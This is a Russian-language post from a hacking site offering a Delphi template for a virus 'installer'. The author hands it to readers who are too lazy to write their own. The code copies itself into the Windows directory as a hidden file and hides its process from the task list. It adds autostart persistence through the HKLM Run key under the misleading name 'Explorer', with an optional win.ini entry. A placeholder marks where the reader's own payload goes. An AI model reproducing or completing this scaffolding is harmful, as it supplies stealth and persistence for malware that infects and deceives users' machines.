Информация сайта компьютерной безопасности
<<< Hack Style >>>

Я решил написать полную инсталляцию для тех кому либо лень ее каждый раз писать самому
либо для тех кто еще не разобрался с ней ...

VIRNAME надо занести exe имя фаила напр virus.exe и дописать то что вам надо
пока "ТЕЛО" только инсталлирует себя в реестре (можно и в ини фаилах если убрать 
знаки коментария { и } в коде) копирует себя и делает копии атрибут скрытый
и пытается скрыться по ctrl alt del 
да все как всегда ...

program Project1;

uses
  windows,
  sysutils,
  inifiles,
  Forms,
  registry,
  dialogs,
  Controls;

{$R *.res}
var
Windir : String;
VIRNAME:String;
WindirP : PChar;
Res : Cardinal;
text:Tinifile;
run:Tregistry;
r:TModalresult;
function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';
begin
VIRNAME:="ИМЯ.EXE";//даем имя фаилу

RegisterServiceProcess(GetCurrentProcessID,1);//скрываем по ctrl alt del

WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);//находим папку винды

copyfile(PChar(Application.exename),PChar(Windir+'\'+VIRNAME),false);//копируем

SetFileAttributes(PChar(Windir+'\'+VIRNAME),faHidden);//делаем "скрытым"

run:=TRegistry.Create;
run.RootKey:=HKEY_LOCAL_MACHINE;
run.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
run.WriteString('Explorer',VIRNAME);//вместо Explorer название в реестре
run.CloseKey;
run.Free;//запуск в реестре

{
text:=Tinifile.Create('win.ini');
text.writestring('windows','run',VIRNAME);
text.Free;//запуск в ини фаилах
}

//ЗДЕСЬ ВАШ КОД

end;
end.

Все права защищены ~< KAPMAH >~
www.HackStyle.narod.ru